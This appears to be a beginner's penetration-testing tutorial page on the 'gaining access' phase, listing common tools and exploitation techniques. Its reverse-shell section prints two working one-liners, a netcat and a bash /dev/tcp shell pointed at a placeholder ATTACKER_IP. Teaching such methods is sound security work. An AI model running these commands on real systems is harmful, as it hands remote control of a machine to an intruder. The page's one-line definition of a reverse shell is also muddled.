Dante's Knowledge Base
A collection of guides and tutorials by Dante.
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Gaining Access 🎯
The third phase of the penetration testing methodology: exploiting discovered vulnerabilities to gain unauthorized access to target systems.
What This Phase Is About
Once scanning identifies open ports, services, and potential vulnerabilities, the next step is to exploit them. This phase bridges the gap between identifying weaknesses and actually breaking in.
- Metasploit — The most widely used penetration testing framework, with exploits for thousands of vulnerabilities.
- Burp Suite — Intercepting proxy for finding and exploiting web application flaws (SQLi, XSS, auth bypass).
- sqlmap — Automated tool for detecting and exploiting SQL injection flaws.
- Hydra — Fast network logon cracker supporting many protocols (SSH, FTP, HTTP forms).
- John the Ripper — Offline password cracking.
- Empire — Post-exploitation and command & control framework.
Common Exploitation Techniques
Web Application Attacks
- SQL Injection (SQLi)
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Authentication & Authorization bypass
- File upload and path traversal attacks
Network & Service Attacks
- Exploiting unpatched software (using known CVEs)
- Default credentials & weak passwords
- SMB / RDP exploitation
- Man-in-the-Middle (MITM) attacks
Client-Side Attacks
- Phishing with malicious payloads
- Malicious documents (macro-based droppers)
- Browser exploitation
Reverse Shells 🐚
A reverse shell is a technique where the attacker connects to the target, rather than waiting for connections to the attacker. The target machine initiates the connection back, often bypassing firewalls.
# Classic netcat reverse shell (from the target)
nc -e /bin/sh ATTACKER_IP 4444
# Bash reverse shell (from the target)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Zero-Day Exploits
Zero-days are vulnerabilities unknown to the vendor, with no patch available. They are the most dangerous and valuable form of exploit. Track them via:
- CVE Database — Mitre’s public vulnerability registry
- Exploit-DB — Public exploit archive
- NVD — NIST National Vulnerability Database
Practice Legally ✅
Next Steps
Once you gain access, move to Stabilizing Access to learn how to maintain your foothold.
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